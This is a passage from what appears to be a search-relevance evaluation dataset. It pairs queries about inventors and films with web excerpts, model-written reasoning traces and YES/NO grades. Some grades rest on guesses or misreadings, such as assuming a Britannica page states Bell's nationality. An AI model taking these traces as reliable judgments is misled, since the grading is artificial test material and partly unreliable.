                "url": "https://www.celebritynetworth.com/richest-businessmen/tim-berners-lee-net-worth/#:~:text=Tim%20Berners-Lee%20net%20worth%20and%20salary%3A%20Sir%20Timothy%20John,computers%2C%20the%20Ferranti%20Mark%201.",
                "published_date": "2021-01-02",
                "text": "What is Tim Berners-Lee's Net Worth and Salary? Sir Timothy John \"Tim\" Berners-Lee is a British engineer and computer scientist who has a net worth of $10 million. Berners-Lee is best known for inventing the World Wide Web protocol in 1989. He is currently a Professorial Fellow of Computer Science at the University of Oxford. Tim also works as a professor at the Massachusetts Institute of Technology. Outside of his role in the academic community, Berners-Lee is the director of the World Wide Web Consortium, otherwise known as W3C. This organization oversees the development of the internet around the world. Tim also founded the World Wide Web Foundation and works extensively with MIT's Computer Science and Artificial Intelligence Laboratory and the university's Center for Collective Intelligence. Finally, Berners-Lee works with organizations like the MIT Center for Collective Intelligence, the Ford Foundation, the Open Data Institute, and MeWe. Tim Berners-Lee has won a number of awards and accolades for his contributions to society and the world of technology. In 2004, he was knighted by the Queen of England. He was elected as a Foreign Associate of the National Academy of Sciences in 2009, and he is considered by many sources to be one of the most important people of the 20th Century. In 2016, he received the Turing Award. His role in inventing the World Wide Web serves as the basis for these awards and honors. Early Life Career Relationships Early Life Timothy John Berners-Lee was born on June 8th of 1955 in London, England. Raised alongside three siblings by parents who were both computer scientists, Tim was working with technology from a very early age. His parents worked on the first commercially built computer, the Ferranti Mark 1. Although Tim was raised as an Anglican, he abandoned his religion by the time he was a teen. After attending the Emanuel School in southwest London, Berners-Lee attended The Queen's College at Oxford. He spent three years at the university and earned a first-class bachelor of art",
                "model_trace": "[QUERY] what is the highest degree earned by the person who invented the internet\n\n[WEBPAGE INFORMATION]\n[TITLE] Tim Berners-Lee Net Worth\n[URL] https://www.celebritynetworth.com/richest-businessmen/tim-berners-lee-net-worth/#:~:text=Tim%20Berners-Lee%20net%20worth%20and%20salary%3A%20Sir%20Timothy%20John,computers%2C%20the%20Ferranti%20Mark%201.\n[DATE PUBLISHED] 2021-01-02\n[CONTENT] What is Tim Berners-Lee's Net Worth and Salary? Sir Timothy John \"Tim\" Berners-Lee is a British engineer and computer scientist who has a net worth of $10 million. Berners-Lee is best known for inventing the World Wide Web protocol in 1989. He is currently a Professorial Fellow of Computer Science at the University of Oxford. Tim also works as a professor at the Massachusetts Institute of Technology. Outside of his role in the academic community, Berners-Lee is the director of the World Wide Web Consortium, otherwise known as W3C. This organization oversees the development of the internet around the world. Tim also founded the World Wide Web Foundation and works extensively with MIT's Computer Science and Artificial Intelligence Laboratory and the university's Center for Collective Intelligence. Finally, Berners-Lee works with organizations like the MIT Center for Collective Intelligence, the Ford Foundation, the Open Data Institute, and MeWe. Tim Berners-Lee has won a number of awards and accolades for his contributions to society and the world of technology. In 2004, he was knighted by the Queen of England. He was elected as a Foreign Associate of the National Academy of Sciences in 2009, and he is considered by many sources to be one of the most important people of the 20th Century. In 2016, he received the Turing Award. His role in inventing the World Wide Web serves as the basis for these awards and honors. Early Life Career Relationships Early Life Timothy John Berners-Lee was born on June 8th of 1955 in London, England. Raised alongside three siblings by parents who were both computer scientists, Tim was working with technology from a very early age. His parents worked on the first commercially built computer, the Ferranti Mark 1. Although Tim was raised as an Anglican, he abandoned his religion by the time he was a teen. After attending the Emanuel School in southwest London, Berners-Lee attended The Queen's College at Oxford. He spent three years at the university and earned a first-class bachelor of art\n\nQuery Decomposition:\n1. {Highest degree earned by the person who invented the internet}: The document mentions that Tim Berners-Lee attended The Queen's College at Oxford and earned a first-class bachelor of art -> ([1], SATISFIED)\n\nAssessment: The document clearly provides the highest degree earned by Tim Berners-Lee, which is a first-class bachelor of art. YES."
            },
            {
                "grade": "YES",
                "title": "Tim Berners-Lee | Biography, Education, Internet, Contributions, & Facts",
                "url": "https://www.britannica.com/biography/Tim-Berners-Lee",
                "published_date": "2004-05-07",
                "text": "In full: \nSir Tim Berners-Lee\n\nTim Berners-Lee, (born June 8, 1955, London, England), British computer scientist, generally credited as the inventor of the World Wide Web. In 2004 he was awarded a knighthood by Queen Elizabeth II of the United Kingdom and the inaugural Millennium Technology Prize (\u20ac1 million) by the Finnish Technology Award Foundation. Computing came naturally to Berners-Lee, as both of his parents worked on the Ferranti Mark I, the first commercial computer. (See computer: The first stored-program machines.) After graduating in 1976 from the University of Oxford, Berners-Lee designed computer software for two years at Plessey Telecommunications Ltd., located in Poole, Dorset, England. Following this, he had several positions in the computer industry, including a stint from June to December 1980 as a software engineering consultant at CERN, the European particle physics laboratory in Geneva.\n\nBritannica Quiz\nComputers and Technology Quiz\n\nWhile at CERN, Berners-Lee developed a program for himself, called Enquire, that could store information in files that contained connections (\u201clinks\u201d) both within and among separate files\u2014a technique that became known as hypertext. After leaving CERN, Berners-Lee worked for Image Computer Systems Ltd., located in Ferndown, Dorset, where he designed a variety of computer systems. In 1984 he returned to CERN to work on the design of the laboratory\u2019s computer network, developing procedures that allowed diverse computers to communicate with one another and researchers to control remote machines. In 1989 Berners-Lee drew up a proposal for creating a global hypertext document system that would make use of the Internet. His goal was to provide researchers with the ability to share their results, techniques, and practices without having to exchange e-mail constantly. Instead, researchers would place such information \u201conline,\u201d where their peers could immediately retrieve it anytime, day or night. Berners-Lee wrote the software for the first Web server (the central reposi",
                "model_trace": "Query Decomposition:\n1. {highest degree earned}: The document mentions that Tim Berners-Lee graduated from the University of Oxford in 1976 -> ([1], SATISFIED)\n2. {person who invented the internet}: The document clearly states that Tim Berners-Lee is generally credited as the inventor of the World Wide Web -> ([1], SATISFIED)\n\nAssessment: The document provides the highest degree earned by Tim Berners-Lee and confirms he is credited with inventing the World Wide Web. Both key subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Meet The Man Who Created the Internet",
                "url": "https://nationalmedals.org/stories/meet-vint-cerf/",
                "published_date": null,
                "text": "Many of us alive today cannot remember what life was like before the Internet existed. Now, the high-speed network of connections plays an integral part in day-to-day life.\nBut just a few decades ago, Vint Cerf and his colleagues set out to design the protocols that are at the heart of the Internet of today. In 1973 while working as a professor at Stanford University, Cerf and Robert Kahn began the design of the Transmission Control Protocol (TCP) and the Internet Protocol (IP) that allow data to flow between computers. Those protocols laid the foundation for the Internet, and earned Cerf and Kahn the title of \u201cfathers of the Internet.\u201d\nThough the development of those protocols took just six months, according to Cerf, his interest in computer science and technology started at a much younger age.\n  \n  BY THE TIME CERF WAS 10, HE SAYS HE WAS ALREADY INTERESTED IN SCIENCE AND MATHEMATICS, AND SPENT TIME EXPERIMENTING WITH A CHEMISTRY SET HE RECEIVED AS A BOY. FROM THAT POINT ON, HE SAYS, \u201cI WAS VERY PERSUADED THAT I WOULD END UP DOING SOMETHING SCIENTIFIC.\u201d\n \n \n  \n Although he majored in mathematics as an undergraduate student at Stanford University, Cerf says he took as many computer science classes as possible, because when he was in high school, he was able to use a computer with his friend Steve Crocker, sparking his interest in computer programming.\n\u201cI realized maybe I wasn\u2019t cut out to be a mathematician,\u201d Cerf says of his time at Stanford.\nAfter a two-year stint at IBM, Cerf went back to school at UCLA for a master\u2019s degree and a Ph.D. It was during his time at UCLA studying under his mentor Gerald Estrin, that Cerf first met Robert Kahn. Together, the two would create the building blocks for the Internet. It was also then that Cerf was drawn into the ARPANet project, the government predecessor to the Internet.\n\u201cThat pretty much set the course of my career from then on,\u201d Cerf says.\nWhen Cerf returned to Stanford as a professor, he reconnected with Kahn in 1973 when he approached Cerf with a problem he was att",
                "model_trace": "[QUERY] what is the highest degree earned by the person who invented the internet\n\n[Query Decomposition]\n1. {highest degree earned}: The document mentions that Vint Cerf earned a master\u2019s degree and a Ph.D. -> ([1], SATISFIED)\n2. {person who invented the internet}: The document identifies Vint Cerf as one of the \"fathers of the Internet\" -> ([1], SATISFIED)\n\nAssessment: The document clearly states that Vint Cerf, identified as one of the inventors of the Internet, earned a Ph.D., which is the highest degree mentioned. Both key subcomponents are satisfied. YES"
            },
            {
                "grade": "NO",
                "title": "Robert Kahn | Biography, Internet, A.M. Turing Award, & Facts",
                "url": "https://www.britannica.com/biography/Robert-Elliot-Kahn",
                "published_date": null,
                "text": "Entertainment &amp; Pop Culture \n  Geography &amp; Travel \n  Health &amp; Medicine \n  Lifestyles &amp; Social Issues \n  Literature \n  Philosophy &amp; Religion \n  Politics, Law &amp; Government \n  Science \n  Sports &amp; Recreation \n  Technology \n  Visual Arts \n  World History \n \n \n  On This Day in History \n  Quizzes \n  Podcasts \n  Dictionary \n  Biographies \n  Summaries \n  Top Questions \n  Week In Review \n  Infographics \n  Demystified \n  Lists \n  #WTFact \n  Companions \n  Image Galleries \n  Spotlight \n  The Forum \n  One Good Fact \n \n \n  Entertainment &amp; Pop Culture \n  Geography &amp; Travel \n  Health &amp; Medicine \n  Lifestyles &amp; Social Issues \n  Literature \n  Philosophy &amp; Religion \n  Politics, Law &amp; Government \n  Science \n  Sports &amp; Recreation \n  Technology \n  Visual Arts \n  World History \n \n \n  Britannica ClassicsCheck out these retro videos from Encyclopedia Britannica\u2019s archives. \n  #WTFact VideosIn #WTFact Britannica shares some of the most bizarre facts we can find. \n  This Time in HistoryIn these videos, find out what happened this month (or any month!) in history. \n  Demystified VideosIn Demystified, Britannica has all the answers to your burning questions. \n  Britannica ExplainsIn these videos, Britannica explains a variety of topics and answers frequently asked questions. \n \n\t \n\t  Student Portal Britannica is the ultimate student resource for key school subjects like history, government, literature, and more.\n\t  COVID-19 Portal While this global health crisis continues to evolve, it can be useful to look to past pandemics to better understand how to respond today.\n\t  100 Women Britannica celebrates the centennial of the Nineteenth Amendment, highlighting suffragists and history-making politicians.\n\t  Britannica Beyond We\u2019ve created a new place where questions are at the center of learning. Go ahead. Ask. We won\u2019t mind.\n\t  Saving Earth Britannica Presents Earth\u2019s To-Do List for the 21st Century. Learn about the major environmental problems facing our planet and what can be done about t",
                "model_trace": "Query Decomposition:\n1. {highest degree earned}: The document must provide information about the highest degree earned by the person who invented the internet -> ([1], UNSATISFIED)\n2. {person who invented the internet}: The document is about Robert Kahn, who is one of the key figures in the development of the internet -> ([1], SATISFIED)\n\nAssessment: The document does not provide information about the highest degree earned by Robert Kahn. Since the key subcomponent {highest degree earned} is not satisfied, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Vint Cerf",
                "url": "https://en.wikipedia.org/wiki/Vint_Cerf",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t \n    Vinton Cerf       Vint Cerf at the Royal Society admissions day in 2016    Born  Vinton Gray Cerf June 23, 1943 (age\u00a079)   New Haven, Connecticut, U.S.     Alma\u00a0mater  Stanford University (BS) University of California, Los Angeles (MS, PhD)   Known\u00a0for  TCP/IP  Internet Society    Awards  \n  ACM Fellow (1994) \n IEEE Alexander Graham Bell Medal (1997) \n IEEE Medal of Honor (2023) \n National Medal of Technology (1997) \n Marconi Prize (1998)\n Prince of Asturias Award (2002) \n Turing Award (2004) \n Presidential Medal of Freedom (2005) \n Japan Prize (2008) \n Harold Pender Award (2010) \n Queen Elizabeth Prize for Engineering (2013) \n ForMemRS (2016)  [1]   \n     Scientific career    Fields  Telecommunications    Institutions  IBM, [2]  International Institute of Information Technology, Hyderabad, [2]   [3]  UCLA, [2]  Stanford University, [2]  DARPA, [2]  MCI, [2]   [4]  CNRI, [2]  Google  [5]      Thesis    Multiprocessors, Semaphores, and a Graph Model of Computation \u00a0(1972)    Doctoral advisor   Gerald Estrin  [6]     Website  research .google .com /pubs /author32412 .html    Signature         \n Vinton Gray Cerf  [2]  ForMemRS  [1]  (; born June 23, 1943) is an American Internet pioneer and is recognized as one of \"the fathers of the Internet\", sharing this title with TCP/IP co-developer Bob Kahn. [7]   [8]   [9]   [10]  He has received honorary degrees and awards that include the National Medal of Technology, [2]  the Turing Award, [11]  the Presidential Medal of Freedom, [12]  the Marconi Prize, and membership in the National Academy of Engineering.\nLife and career[edit]\n      Vinton Cerf in Vilnius, September 2010  \nVinton Gray Cerf was born in New Haven, Connecticut on June 23, 1943, the son of Muriel (n\u00e9e Gray) and Vinton Thurston Cerf. [13]   [14]  Cerf attended Van Nuys High School with Jon Postel and Steve Crocker. While in high school, Cerf worked at Rocketdyne on the Apollo program for six months and helped write statistical analysis software for the non-destruc",
                "model_trace": "Query Decomposition:\n1. {highest degree earned}: The document contains detailed information about Vint Cerf's educational background, including his degrees -> ([1], SATISFIED)\n2. {person who invented the internet}: The document identifies Vint Cerf as one of the \"fathers of the Internet\" -> ([1], SATISFIED)\n\nAssessment: The document clearly provides information about Vint Cerf's highest degree (PhD from UCLA) and confirms his role in the invention of the internet. Both subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "what is the nationality of the person who invented the telephone",
        "grid_pos": [
            0,
            8
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Person",
        "reasoning_trace": [
            "The queries generated are specific, detailed, and require a deep understanding of people, companies, and inventions to answer properly. They test Exa's ability to understand complex queries that go beyond simple keyword matching.\n\n1. \"who is the ceo of tesla\" - The answer is Elon Musk. This query requires knowledge of the leadership and key figures at major technology companies.\n\n2. \"what is the name of the person who founded apple\" - The answer is Steve Jobs. This query requires knowledge of the founders and history of major tech companies.\n\n3. \"what is the real name of the actor who played spiderman\" - The answer is Tom Holland. This query requires knowledge of actors and the characters they have portrayed.\n\n4. \"what is the nationality of the person who invented the telephone\" - The answer is Scottish. This query requires knowledge of the history of important inventions and their inventors.\n\n5. \"what is the highest degree earned by the person who invented the internet\" - The answer is PhD. This query requires knowledge of the educational background of important technology pioneers."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Alexander Graham Bell - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Alexander_Graham_Bell",
                "published_date": "2001-09-02",
                "text": "Alexander Graham Bell Bell c. 1917 Born Alexander Bell March 3, 1847 Edinburgh, Scotland Died August 2, 1922 (aged 75) Beinn Bhreagh, Nova Scotia, Canada Citizenship United Kingdom (1847\u20131922) British-subject in Canada (1870\u20131882)United States (1882\u20131922) Alma mater University of Edinburgh University College London Occupations Inventor scientist engineer professor a teacher of the deaf [2] Known for Invention of the telephone b\nCo-founder of Bell Canada & AT&T Spouse Mabel Gardiner Hubbard \n \u200b \u200b (m. 1877) \u200b Children 4 Parents Alexander Melville Bell Eliza Grace Symonds Bell Relatives Gardiner G. Hubbard (father-in-law) David C. Bell (uncle) Gilbert H. Grosvenor (son-in-law) David Fairchild (son-in-law) Melville Bell Grosvenor (grandson) Mabel Grosvenor (granddaughter) A. Graham Bell Fairchild (grandson) Gilbert Grosvenor (great-grandson) Edwin Grosvenor (great-grandson) Chichester Bell (cousin) Awards 1883 NAS Member 1902 Albert Medal 1907 John Fritz Medal 1912 Elliott Cresson Medal Re-identified in 2013, Bell made this wax-disc recording of his voice in 1885. Signature Notes a Boston University (see below). b See below. c Two died soon after birth. \n Alexander Graham Bell (, born Alexander Bell; March 3, 1847 \u2013 August 2, 1922) [4] was a Scottish-born [N 1] inventor, scientist and engineer who is credited with patenting the first practical telephone. He also co-founded the American Telephone and Telegraph Company (AT&T) in 1885. [7] \n Bell's father, grandfather, and brother had all been associated with work on elocution and speech, and both his mother and wife were deaf; profoundly influencing Bell's life's work. [8] His research on hearing and speech further led him to experiment with hearing devices which eventually culminated in Bell being awarded the first U.S. patent for the telephone, on March 7, 1876. [N 2] Bell considered his invention an intrusion on his real work as a scientist and refused to have a telephone in his study. [9] [N 3] \n Many other inventions marked Bell's later life, including groundbreak",
                "model_trace": "Query Decomposition:\n1. {nationality of the person who invented the telephone}: The document provides detailed information about Alexander Graham Bell's nationality, including his citizenships in the United Kingdom, Canada, and the United States -> ([1], SATISFIED)\n\nAssessment: The document clearly contains the necessary information to determine the nationality of Alexander Graham Bell, the inventor of the telephone. YES."
            },
            {
                "grade": "NO",
                "title": "Tivadar Pusk\u00e1s - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Tivadar_Pusk%C3%A1s",
                "published_date": "2004-02-13",
                "text": "From Wikipedia, the free encyclopedia\n\nTivadar Pusk\u00e1s Born Tivadar Pusk\u00e1s de Ditr\u00f3 17 September 1844 Pest, Kingdom of Hungary, Austrian Empire Died 16 March 1893 (aged 48) Budapest, Austria-Hungary Nationality Hungarian Other names Theodore Pusk\u00e1s Occupation Inventor \n Tivadar Pusk\u00e1s de Ditr\u00f3 (in older English technical literature: Theodore Pusk\u00e1s) [1] (17 September 1844 \u2013 16 March 1893) was a Hungarian inventor, telephone pioneer, and inventor of the telephone exchange. [2] [3] [4] [5] [6] [7] He was also the founder of Telefon H\u00edrmond\u00f3.\n\nBiography[edit]\nThe Pusk\u00e1s family from Ditr\u00f3 [8] (today Harghita County of Romania), was part of the Transylvanian Hungarian nobility. Pusk\u00e1s studied law and later engineering sciences. After living in England and working for the Warnin Railway Construction Company he returned to Hungary. In 1873, on the occasion of the World Exhibition in Vienna, he founded the Pusk\u00e1s Travel Agency, the fourth-oldest in the world[ citation needed ] and the first travel agency in Central Europe. \nAfter this, Pusk\u00e1s moved to Colorado and became a gold miner. It was while he was in America that Pusk\u00e1s exposed the American \"energy machine\" inventor Keely as a fraud.[ citation needed ]\n Pusk\u00e1s was working on his idea for a telegraph exchange when Alexander Graham Bell invented the telephone. This led him to take a fresh look at his work and he decided to get in touch with the American inventor Thomas Edison.\n Pusk\u00e1s now began to concentrate on perfecting his scheme to build a telephone exchange. According to Edison, \"Tivadar Puskas was the first person to suggest the idea of a telephone exchange\". [9] [10] [11] [12] The first experimental telephone exchange was based on the ideas of Pusk\u00e1s, and it was built by the Bell Telephone Company in Boston in 1877. [13] \n On March 11, 1878, Puskas demonstrated the first working Edison phonograph from the US (using tinfoil) to the French Academy of Sciences. It was generally successful although he was also accused of \"ventriloquism.\" He was responsible for ha",
                "model_trace": "Query Decomposition:\n1. {nationality of the person}: This document provides the nationality of Tivadar Pusk\u00e1s -> ([1], SATISFIED)\n2. {invented the telephone}: The document clearly states that Tivadar Pusk\u00e1s was an inventor and a telephone pioneer, but it does not claim he invented the telephone itself -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the subcomponent about the person who invented the telephone, as it focuses on Tivadar Pusk\u00e1s, who is not the inventor of the telephone. NO."
            },
            {
                "grade": "YES",
                "title": "Johann Philipp Reis - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Johann_Philipp_Reis",
                "published_date": "2003-08-26",
                "text": "Johann Philipp Reis (German: [\u0281a\u026as]; 7 January 1834 \u2013 14 January 1874) was a self-taught German scientist and inventor. In 1861, he constructed the first make-and-break telephone, today called the Reis telephone.\n\nEarly life and education[edit]\n Reis' home in Friedrichsdorf, now a museum \nReis was born in Gelnhausen, Germany, the son of Marie Katharine (Gl\u00f6ckner) and Karl Sigismund Reis, a master baker. [1] [2] His father belonged to the Evangelical Lutheran church. [3] Reis's mother died while he was an infant, and he was raised by his paternal grandmother, a well-read, intelligent woman. At the age of six Reis was sent to the common school of his home town of Gelnhausen. Here his talents attracted the notice of his instructors, who advised his father to extend his education at a higher college. His father died before Reis was ten years old. His grandmother and guardians placed him at Garnier's Institute, in Friedrichsdorf, where he showed a taste for languages, and acquired both French and English, as well as a stock of miscellaneous information from the library. [4] \n At the end of his fourteenth year, Reis was accepted to a Hassel Institute, at Frankfurt am Main, where he learned Latin and Italian. A love of science became apparent, and his guardians were recommended to send him to the Polytechnic School of Karlsruhe. His uncle wished him to become a merchant, and on 1 March 1850 Reis was apprenticed as a paints dealer in the establishment of J. F. Beyerbach, of Frankfurt, against his will. He told his uncle that he would learn the business chosen for him, but would continue his preferred studies as he could. [4] \n By diligent service he won the esteem of Beyerbach, and devoted his leisure to self-improvement, taking private lessons in mathematics and physics and attending the lectures of Professor R. Bottger on mechanics at the Trade School. When his apprenticeship ended, Reis attended the Institute of Dr. Poppe, in Frankfurt. As neither history nor geography was taught there, several of the students agreed ",
                "model_trace": "Query Decomposition:\n1. {nationality}: The document provides information about Johann Philipp Reis, stating that he was a German scientist and inventor -> ([1], SATISFIED)\n2. {person who invented the telephone}: The document mentions that Johann Philipp Reis constructed the first make-and-break telephone, known as the Reis telephone -> ([1], SATISFIED)\n\nAssessment: The document clearly satisfies both key subcomponents by providing the nationality of Johann Philipp Reis and confirming his contribution to the invention of the telephone. YES"
            },
            {
                "grade": "YES",
                "title": "Alexander Graham Bell - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Alexander_Graham_Bell",
                "published_date": null,
                "text": "Alexander Graham Bell       Bell c. 1917    Born  Alexander Bell March 3, 1847   Edinburgh, Scotland     Died August 2, 1922 (aged\u00a075)   Beinn Bhreagh, Nova Scotia, Canada     Citizenship United Kingdom (1847\u20131922) British-subject in Canada (1870\u20131882)United States (1882\u20131922)   Alma\u00a0mater     University of Edinburgh   University College London       Occupations    Inventor scientist     engineer professor\u2009a  teacher of the deaf\u2009 [2]        Known\u00a0for  Invention of the telephone\u2009b\nCo-founder of Bell Canada &amp; AT&amp;T    Spouse     Mabel Gardiner Hubbard  \n \u200b \u200b (m.\u00a01877) \u200b     Children 4   Parents     Alexander Melville Bell  Eliza Grace Symonds Bell      Relatives     Gardiner G. Hubbard (father-in-law)  David C. Bell (uncle)  Gilbert H. Grosvenor (son-in-law)  David Fairchild (son-in-law)  Melville Bell Grosvenor (grandson)  Mabel Grosvenor (granddaughter)  A. Graham Bell Fairchild (grandson)  Gilbert Grosvenor (great-grandson)  Edwin Grosvenor (great-grandson)  Chichester Bell (cousin)      Awards    1883\u00a0 NAS Member  1902\u00a0 Albert Medal  1907\u00a0 John Fritz Medal  1912\u00a0 Elliott Cresson Medal          Re-identified in 2013, Bell made this wax-disc recording of his voice in 1885.     Signature         Notes       a Boston University (see below).  b See below.  c Two died soon after birth.      \n Alexander Graham Bell (, born Alexander Bell; March 3, 1847 \u2013 August 2, 1922) [4]  was a Scottish-born [N 1]  inventor, scientist and engineer who is credited with patenting the first practical telephone. He also co-founded the American Telephone and Telegraph Company (AT&amp;T) in 1885. [7] \n  Bell's father, grandfather, and brother had all been associated with work on elocution and speech, and both his mother and wife were deaf; profoundly influencing Bell's life's work. [8]  His research on hearing and speech further led him to experiment with hearing devices which eventually culminated in Bell being awarded the first U.S. patent for the telephone, on March 7, 1876. [N 2]  Bell considered his invention an intrusion on ",
                "model_trace": "Query Decomposition:\n1. {nationality of the person who invented the telephone}: This document provides detailed information about Alexander Graham Bell, including his birthplace, citizenships, and other relevant biographical details -> ([1], SATISFIED).\n\nAssessment: The document clearly provides the necessary information to determine Alexander Graham Bell's nationality. YES."
            },
            {
                "grade": "YES",
                "title": "Alexander Graham Bell | Biography, Education, Telephone ...",
                "url": "https://www.britannica.com/biography/Alexander-Graham-Bell",
                "published_date": null,
                "text": "Entertainment &amp; Pop Culture \n  Geography &amp; Travel \n  Health &amp; Medicine \n  Lifestyles &amp; Social Issues \n  Literature \n  Philosophy &amp; Religion \n  Politics, Law &amp; Government \n  Science \n  Sports &amp; Recreation \n  Technology \n  Visual Arts \n  World History \n \n \n  On This Day in History \n  Quizzes \n  Podcasts \n  Dictionary \n  Biographies \n  Summaries \n  Top Questions \n  Week In Review \n  Infographics \n  Demystified \n  Lists \n  #WTFact \n  Companions \n  Image Galleries \n  Spotlight \n  The Forum \n  One Good Fact \n \n \n  Entertainment &amp; Pop Culture \n  Geography &amp; Travel \n  Health &amp; Medicine \n  Lifestyles &amp; Social Issues \n  Literature \n  Philosophy &amp; Religion \n  Politics, Law &amp; Government \n  Science \n  Sports &amp; Recreation \n  Technology \n  Visual Arts \n  World History \n \n \n  Britannica ClassicsCheck out these retro videos from Encyclopedia Britannica\u2019s archives. \n  #WTFact VideosIn #WTFact Britannica shares some of the most bizarre facts we can find. \n  This Time in HistoryIn these videos, find out what happened this month (or any month!) in history. \n  Demystified VideosIn Demystified, Britannica has all the answers to your burning questions. \n  Britannica ExplainsIn these videos, Britannica explains a variety of topics and answers frequently asked questions. \n \n\t \n\t  Student Portal Britannica is the ultimate student resource for key school subjects like history, government, literature, and more.\n\t  COVID-19 Portal While this global health crisis continues to evolve, it can be useful to look to past pandemics to better understand how to respond today.\n\t  100 Women Britannica celebrates the centennial of the Nineteenth Amendment, highlighting suffragists and history-making politicians.\n\t  Britannica Beyond We\u2019ve created a new place where questions are at the center of learning. Go ahead. Ask. We won\u2019t mind.\n\t  Saving Earth Britannica Presents Earth\u2019s To-Do List for the 21st Century. Learn about the major environmental problems facing our planet and what can be done about t",
                "model_trace": "Query Decomposition:\n1. {nationality of the person}: The query asks for the nationality of the person who invented the telephone -> ([2], UNSURE)\n2. {person who invented the telephone}: The person who invented the telephone is Alexander Graham Bell -> ([1], SATISFIED)\n\nAssessment: The document is a biography of Alexander Graham Bell, who is known for inventing the telephone. While the provided content does not explicitly mention his nationality, it is highly likely that a biography page on Britannica would include such fundamental information. Given the context, the document is likely to satisfy the user's query.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Who is credited with inventing the telephone? - Library of Congress",
                "url": "https://www.loc.gov/everyday-mysteries/technology/item/who-is-credited-with-inventing-the-telephone/",
                "published_date": null,
                "text": "\u00ab Back to Technology page \n \n \n \n \n \n \n Answer\n Alexander Graham Bell is\u00a0credited with being the inventor of the telephone since\u00a0his patent and demonstrations for an apparatus designed for \u201ctransmitting vocal or other sounds telegraphically\u2026causing electrical undulations\u201d were successful.\u00a0\n  \n  First Bell Telephone, June 1875. Emile Berliner collection, Motion Picture, Broadcasting and Recorded Sound Division, Library of Congress.\nAttributing the true inventor or inventors to a specific invention can be tricky business. Often credit goes to the inventor of the most practical or best working invention rather than to the original inventor(s).\u00a0\n  \n  Drawing by Alexander Graham Bell, 1876. In Alexander Graham Bell Family Papers, Manuscript Division, Library of Congress.\nThere is a lot of controversy and intrigue surrounding the invention of the telephone. There have been court cases, books, and articles generated about the subject. Of course, Alexander Graham Bell is the father of the telephone. After all it was his design that was first patented, however, he was not the first inventor to come up with the idea of a talking telegraph.\n  \n  Louise Brooks \u2026 holding telephones, with various other models on table before her. 1936. New York World-Telegram and the Sun Newspaper Photograph Collection, Prints &amp; Photographs Division, Library of Congress.\nAntonio Meucci, an Italian immigrant, began developing the design of a talking telegraph or telephone in 1849. In 1871, he filed a caveat (an announcement of an invention) for his design of a talking telegraph. Due to hardships, Meucci could not renew his caveat. His role in the invention of the telephone was overlooked until the United States House of Representatives passed a Resolution on June 11, 2002, honoring Meucci\u2019s contributions and work. You can read the  resolution (107th Congress, H Res 269) on  Congress.gov.\n    The Party Wire. Norman Rockwell, 1919. Prints &amp; Photographs Division, Library of Congress.\nTo make matters even more interesting some historians su",
                "model_trace": "Query Decomposition:\n1. {nationality of the person who invented the telephone}: The document mentions Alexander Graham Bell as the inventor of the telephone and provides some background information about him. However, it does not explicitly state his nationality -> ([0], UNSURE).\n\nAssessment: The document provides detailed information about the invention of the telephone and mentions Alexander Graham Bell as the key figure, but it does not directly address his nationality. Since the subcomponent {nationality of the person who invented the telephone} is tagged [0] and UNSURE, it should be ignored in the evaluation. Therefore, the document does not satisfy the user's query directly. NO."
            }
        ]
    },
    {
        "query": "animated movie with a magical creature that helps a young person go on a journey",
        "grid_pos": [
            0,
            7
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. Best horror movie with a twist ending: The answer could be \"The Sixth Sense\" - a supernatural horror film about a child psychologist who discovers one of his young patients can see and communicate with the dead, culminating in a famous twist ending.\n\n2. Funniest comedy movie where the main character can't stop talking: The answer could be \"Monty Python and the Holy Grail\" - a classic British comedy where the main characters, a group of knights on a quest, frequently engage in absurdist and fast-paced dialogue.\n\n3. Sci-fi movie about a guy who gets stuck in a time loop: The answer could be \"Edge of Tomorrow\" - a sci-fi action film where a soldier in a future war gets stuck repeating the same day over and over again.\n\n4. Animated movie with a magical creature that helps a young person go on a journey: The answer could be \"Spirited Away\" - a Japanese animated fantasy film where a young girl enters a supernatural world and is aided by a dragon-like creature on her journey of self-discovery.\n\n5. Action movie about a retired spy who gets pulled back into the game: The answer could be \"Taken\" - a thriller about a retired CIA operative who must use his particular set of skills to rescue his daughter from human traffickers."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "JourneyQuest: Season Two",
                "url": "https://www.journeyquestmovie.com/",
                "published_date": "2000-01-01",
                "text": "About\n\nVideos\n\n1\n Total\n\n$10 Buy\n\nJourneyQuest: Season Two\n A fantasy comedy about a wizard with a quest problem\n\nJourneyQuest: Season Two \n 1h 34m\n\nJourneyQuest: Season Two \n 1 video\n\nJourneyQuest: Season One \n 1 video",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document does not specify if \"JourneyQuest: Season Two\" is an animated movie -> ([0], UNSURE)\n2. {magical creature}: The document does not mention any magical creatures -> ([0], UNSURE)\n3. {helps a young person}: The document does not provide information about characters or their roles -> ([0], UNSURE)\n4. {go on a journey}: The document mentions a \"quest\" which implies a journey -> ([2], SATISFIED)\n\nAssessment: The document does not provide enough information to evaluate whether it is an animated movie or if it includes a magical creature helping a young person. The only relevant subcomponent that can be assessed is {go on a journey}, which is satisfied. However, the other critical subcomponents cannot be ignored as they are essential to the query.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "Up and Away (film) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Up_and_Away_(film)",
                "published_date": "2021-08-19",
